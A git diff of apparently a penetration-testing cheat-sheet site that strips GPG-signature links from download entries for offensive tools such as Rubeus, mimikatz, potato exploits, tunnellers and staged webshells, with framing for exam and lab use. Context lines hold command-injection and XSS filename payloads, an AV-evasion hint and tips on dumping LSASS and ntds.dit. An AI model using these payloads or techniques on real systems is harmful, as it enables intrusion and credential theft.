Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
+| 3 SMB/RPC/Services | [NetExec](https://github.com/Pennyw0rth/NetExec), smbclient, [smbmap](https://github.com/ShawnDEvans/smbmap), [enum4linux-ng](https://github.com/cddmp/enum4linux-ng), rpcclient, [Snaffler](https://github.com/SnaffCon/Snaffler), [Responder](https://github.com/lgandx/Responder), [ntlmrelayx](https://github.com/fortra/impacket), [mitm6](https://github.com/dirkjanm/mitm6), [Inveigh](https://github.com/Kevin-Robertson/Inveigh), [fscan](https://github.com/shadow1ng/fscan) | [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256)) [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256)) [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256)) | SMBMAP · Snaffler · 🔴 Attack · [06 - Stage 03 - Service Enumeration](/sheets/pentest-workflow/service-enumeration) |
+| 4 AD Enumeration | [NetExec](https://github.com/Pennyw0rth/NetExec), ldapsearch, [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump), [windapsearch](https://github.com/ropnop/windapsearch), [ldeep](https://github.com/franc-pentest/ldeep), [kerbrute](https://github.com/ropnop/kerbrute), [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py), [RustHound-CE](https://github.com/g0h4n/RustHound-CE), [SharpHound](https://github.com/SpecterOps/SharpHound), [PowerView](https://github.com/PowerShellMafia/PowerSploit), [SharpView](https://github.com/tevora-threat/SharpView) | [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256)) [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256)) [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256)) [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256)) [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256)) | LDAP Search · bloodhound-ce-python-cheatsheet · Kerbrute · [07 - Stage 04 - Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration) |
+| 5 Kerberos | [Impacket](https://github.com/fortra/impacket) (GetUserSPNs / GetNPUsers / getST / getTGT), [Rubeus](https://github.com/GhostPack/Rubeus), [hashcat](https://github.com/hashcat/hashcat), [kekeo](https://github.com/gentilkiwi/kekeo) | [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256)) | Kerberoasting Cheatsheet · Rubeus-Cheatsheet · [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) |
+| 6 ACL / Object Abuse | [bloodyAD](https://github.com/CravateRouge/bloodyAD), [PowerView](https://github.com/PowerShellMafia/PowerSploit), [Impacket](https://github.com/fortra/impacket) (dacledit / rbcd / owneredit / addcomputer), [autobloody](https://github.com/CravateRouge/autobloody), [StandIn](https://github.com/FuzzySecurity/StandIn), [Whisker](https://github.com/eladshamir/Whisker), [pywhisker](https://github.com/ShutdownRepo/pywhisker), [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast), [Powermad](https://github.com/Kevin-Robertson/Powermad) | [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256)) [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256)) [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256)) | BloodyAD · Autobloody · [09 - Stage 06 - ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) |
+| 7 ADCS | [Certipy](https://github.com/ly4k/Certipy), [Certify](https://github.com/GhostPack/Certify), [PetitPotam](https://github.com/topotam/PetitPotam), [Coercer](https://github.com/p0dalirius/Coercer), [DFSCoerce](https://github.com/Wh04m1001/DFSCoerce), [ShadowCoerce](https://github.com/ShutdownRepo/ShadowCoerce), [krbrelayx](https://github.com/dirkjanm/krbrelayx) | [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256)) [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256)) | Certipy-ad · _ADCS Attack Methodology Guide · _ADCS ESC Attack Index · [10 - Stage 07 - ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
+| 8 Passwords / Spraying | [hashcat](https://github.com/hashcat/hashcat), [john](https://github.com/openwall/john), [NetExec](https://github.com/Pennyw0rth/NetExec) (spray), [hydra](https://github.com/vanhauser-thc/thc-hydra), [kerbrute](https://github.com/ropnop/kerbrute) (spray), [Go365](https://github.com/optiv/Go365), [MSOLSpray](https://github.com/dafthack/MSOLSpray), [o365spray](https://github.com/0xZDH/o365spray), [CredMaster](https://github.com/knavesec/CredMaster), [CeWL](https://github.com/digininja/CeWL)/[cupp](https://github.com/Mebus/cupp), [username-anarchy](https://github.com/urbanadventurer/username-anarchy) | [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256)) [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256)) [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256)) | Hashcat-Cheatsheet · john-cheatsheet · Credential Hunting · [11 - Stage 08 - Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) |
+| 9 Privilege Escalation | [linpeas](https://github.com/carlospolop/PEASS-ng), [winPEAS](https://github.com/carlospolop/PEASS-ng), [PrivescCheck](https://github.com/itm4n/PrivescCheck), [JAWS](https://github.com/411Hall/JAWS), [PowerUp](https://github.com/PowerShellMafia/PowerSploit), [SharpUp](https://github.com/GhostPack/SharpUp), [Seatbelt](https://github.com/GhostPack/Seatbelt), [Watson](https://github.com/rasta-mouse/Watson)/[Sherlock](https://github.com/rasta-mouse/Sherlock)/[WES-NG](https://github.com/bitsadmin/wesng), [GTFOBins](https://gtfobins.github.io), [pspy](https://github.com/DominicBreuker/pspy), potatoes ([GodPotato](https://github.com/BeichenDream/GodPotato), [PrintSpoofer](https://github.com/itm4n/PrintSpoofer), [SweetPotato](https://github.com/CCob/SweetPotato), [JuicyPotato](https://github.com/ohpe/juicy-potato), [RoguePotato](https://github.com/antonioCoco/RoguePotato)) | [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256)) [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256)) [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256)) [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256)) [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256)) [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256)) [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256)) [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256)) [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256)) [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256)) [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256)) [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256)) [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)) [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256)) [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256)) [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256)) | Linux PrivEsc Cheat Sheet · Windows PrivEsc · [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) |
+| 10 Lateral / Pivot / Loot | [evil-winrm](https://github.com/Hackplayers/evil-winrm), [Impacket](https://github.com/fortra/impacket) (psexec / wmiexec / secretsdump / smbserver), [ligolo-ng](https://github.com/nicocha30/ligolo-ng), [chisel](https://github.com/jpillora/chisel), [sshuttle](https://github.com/sshuttle/sshuttle), [mimikatz](https://github.com/gentilkiwi/mimikatz), [SharpWMI](https://github.com/GhostPack/SharpWMI), [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI), [LaZagne](https://github.com/AlessandroZ/LaZagne), [proxychains-ng](https://github.com/rofl0r/proxychains-ng), [dnscat2](https://github.com/iagox86/dnscat2), [pypykatz](https://github.com/skelsec/pypykatz), [lsassy](https://github.com/login-securite/lsassy), [nanodump](https://github.com/fortra/nanodump) | [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256)) [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256)) [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256)) [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256)) [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256)) [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256)) [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256)) [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256)) | Impacket-Cheatsheet · Ligolo-ng Cheat sheet · Mimikatz-Cheatsheet · [13 - Stage 10 - Lateral Movement Pivoting and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
 | 11 Reporting | note-taking, PoC capture, [SysReptor](https://github.com/Syslifters/sysreptor)/[pwndoc](https://github.com/pwndoc/pwndoc), [CVSS 4.0 calculator](https://www.first.org/cvss/calculator/4.0), retest | — | 10 - Proof of Concept & Post-Engagement · [15 - Stage 11 - Documentation and Reporting](/sheets/pentest-workflow/documentation-and-reporting) |
-| 🌲 Trusts | [ticketer](https://github.com/fortra/impacket)/[mimikatz](https://github.com/gentilkiwi/mimikatz) (SID history), [raiseChild](https://github.com/fortra/impacket), [Rubeus](https://github.com/GhostPack/Rubeus) asktgs, nltest, Get-DomainTrust, [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) | [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) | 🔶 Attack · 🔶 Attack · [14 - Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest) |
+| 🌲 Trusts | [ticketer](https://github.com/fortra/impacket)/[mimikatz](https://github.com/gentilkiwi/mimikatz) (SID history), [raiseChild](https://github.com/fortra/impacket), [Rubeus](https://github.com/GhostPack/Rubeus) asktgs, nltest, Get-DomainTrust, [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) | [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256)) [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256)) | 🔶 Attack · 🔶 Attack · [14 - Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest) |
 | 🧬 Worked Chains | Forest · Resolute · Fluffy · web→AD pattern (step-by-step: [16 - Appendix - Worked Chains](/sheets/pentest-workflow/worked-chains)) | — | HTB-Forest · Resolute · HTB-Fluffy |
 
 ## Quick-reference tables
@@ -68,23 +68,23 @@ source: "vault:Pentest Attack Flow/17 - Tool Index.md"
 
 | Binary (ships in attachments/) | Job | Stage |
 |---|---|---|
-| [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) | Kerberos: roast, asktgt/asktgs, delegation, ticket inject | [Stage 05](/sheets/pentest-workflow/kerberos-attacks) |
-| [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Certify.exe.sha256.asc)) | ADCS template/CA enum + ESC abuse | [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
-| [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Seatbelt.exe.sha256.asc)) | Host situational awareness | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpUp.exe.sha256.asc)) | Privesc misconfigs (C# PowerUp) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)) | DPAPI masterkeys / credential blobs | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpWMI.exe.sha256.asc)) | WMI lateral movement | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpView.exe.sha256.asc)) | C# PowerView port (AD enum) | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
+| [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256)) | Kerberos: roast, asktgt/asktgs, delegation, ticket inject | [Stage 05](/sheets/pentest-workflow/kerberos-attacks) |
+| [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256)) | ADCS template/CA enum + ESC abuse | [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
+| [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256)) | Host situational awareness | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256)) | Privesc misconfigs (C# PowerUp) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
+| [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256)) | DPAPI masterkeys / credential blobs | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256)) | WMI lateral movement | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256)) | C# PowerView port (AD enum) | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
 
 > [!warning] No official GhostPack releases
-> These binaries come via the SharpCollection builds — verify each against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)) and expect AMSI/Defender to flag them (AMSI-bypass or obfuscate via [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc)) shellcode only where authorized).
+> These binaries come via the SharpCollection builds — verify each against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) and expect AMSI/Defender to flag them (AMSI-bypass or obfuscate via [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256)) shellcode only where authorized).
 
 ### Pivot picker — which tunnel when
 
 | Situation | Reach for | Why |
 |---|---|---|
-| Full TUN interface through one foothold | [ligolo-ng](https://github.com/nicocha30/ligolo-ng) ([ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))) | Real routes; nmap/nxc work natively, no proxychains |
-| Quick SOCKS over one TCP stream, HTTP-friendly egress | [chisel](https://github.com/jpillora/chisel) ([chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) / [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))) | Single binary, works through proxies/WAFs |
+| Full TUN interface through one foothold | [ligolo-ng](https://github.com/nicocha30/ligolo-ng) ([ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256))) | Real routes; nmap/nxc work natively, no proxychains |
+| Quick SOCKS over one TCP stream, HTTP-friendly egress | [chisel](https://github.com/jpillora/chisel) ([chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256)) / [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256))) | Single binary, works through proxies/WAFs |
 | SSH available on the pivot | [sshuttle](https://github.com/sshuttle/sshuttle) | No binary on target needed |
 | Only DNS egress | [dnscat2](https://github.com/iagox86/dnscat2) / [iodine](https://github.com/yarrick/iodine) | Last resort; slow |
 
@@ -92,9 +92,9 @@ source: "vault:Pentest Attack Flow/17 - Tool Index.md"
 
 | Target OS | First try | Fallback |
 |---|---|---|
-| Server 2016 / Win10 <1809 (or anything old) | [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc)) | [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)) |
-| Server 2019/2022, Spooler running | [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) | [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)) |
-| Server 2019/2022+, Spooler disabled | [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc)) (.NET 4) or [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc)) (.NET 3.5) | [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)) (EfsRpc mode) |
+| Server 2016 / Win10 <1809 (or anything old) | [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256)) | [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)) |
+| Server 2019/2022, Spooler running | [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256)) | [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)) |
+| Server 2019/2022+, Spooler disabled | [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256)) (.NET 4) or [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256)) (.NET 3.5) | [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)) (EfsRpc mode) |
 
 > [!tip] CPTS exam tip
 > `whoami /priv` is the first command on any Windows foothold. SeImpersonatePrivilege + any potato = SYSTEM in under a minute; SeDebugPrivilege → [mimikatz](https://github.com/gentilkiwi/mimikatz)/procdump LSASS; SeBackupPrivilege → copy SAM/SYSTEM/ntds.dit.
@@ -106,7 +106,7 @@ source: "vault:Pentest Attack Flow/17 - Tool Index.md"
 > - Missing a Go binary? kerbrute, fscan, gowitness, chisel and ligolo-ng agents are already in `attachments/`.
 
 > [!opsec] Before staging any attachment
-> Every binary in `attachments/` is signatured by modern AV/EDR (Rubeus, mimikatz, Snaffler especially). Verify hashes against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)), stage only on in-scope lab hosts, and delete artifacts on cleanup ([Stage 11](/sheets/pentest-workflow/documentation-and-reporting)).
+> Every binary in `attachments/` is signatured by modern AV/EDR (Rubeus, mimikatz, Snaffler especially). Verify hashes against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS), stage only on in-scope lab hosts, and delete artifacts on cleanup ([Stage 11](/sheets/pentest-workflow/documentation-and-reporting)).
 
 > [!info] Companion notes
 > - **[Most-Used-Commands](/sheets/pentest-workflow/most-used-commands)** — the raw per-tool syntax reference this guide leans on.

src/content/sheets/pentest-workflow/web-enumeration-and-exploitation.md

@@ -103,7 +103,7 @@ curl -s http://$IP/robots.txt
 > [!tools] Screenshot triage at scale
 > Once `httpx`/vhost fuzzing yields a URL list, screenshot everything in one pass and eyeball the contact sheet for login panels, default installs, and error pages. [gowitness](https://github.com/sensepost/gowitness) is staged locally:
 >
-> [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_linux_amd64.sha256.asc))
+> [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256))
 >
 > ```bash
 > ./gowitness scan file -f urls.txt --screenshot-path ./shots
@@ -1200,19 +1200,19 @@ file$(whoami).jpg     file.jpg||whoami     "<script>alert(1)</script>.jpg"     "
 > [!tools] Staged webshells (drop into the upload, then request it)
 > PHP targets (Apache/nginx+php-fpm, WordPress theme editor, LFI2RCE):
 >
-> [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc))
+> [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256))
 >
 > Classic ASP / legacy IIS (`.asp`, `.cer`, `asp.dll` handlers):
 >
-> [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc))
+> [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256))
 >
 > Tomcat / any JSP container (also the payload inside a WAR — see Tomcat → /manager WAR deploy (msfvenom war)):
 >
-> [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc))
+> [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256))
 >
 > IIS + ASP.NET (`aspx` handler, Windows boxes — pairs with the web.config trick above):
 >
-> [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))
+> [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256))
 
 **Selection guidance**: match the shell to the *executing* handler, not the OS — an IIS box with PHP installed runs `rp-shell.php`; a Linux Tomcat runs `rp-shell.jsp`. Confirm execution context with a harmless probe first (`whoami`/`id`, `phpinfo()`), and note the shell runs as the **web service account** (`www-data`, `NT AUTHORITY\IUSR`/`iis apppool\defaultapppool`, `tomcat`) — privesc is [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation)'s job.
 
@@ -1588,11 +1588,11 @@ python3 ssrfmap.py -r ssrf.req -p url -m aws,redis,portscan --level=4
 > [!tools] Deserialization payload generators (staged)
 > Java — ysoserial gadget chains (CommonsCollections, Spring, Hibernate...):
 >
-> [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial-all.jar.sha256.asc))
+> [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256))
 >
 > .NET — ysoserial.net ViewState/BinaryFormatter/Json.NET payload plugins:
 >
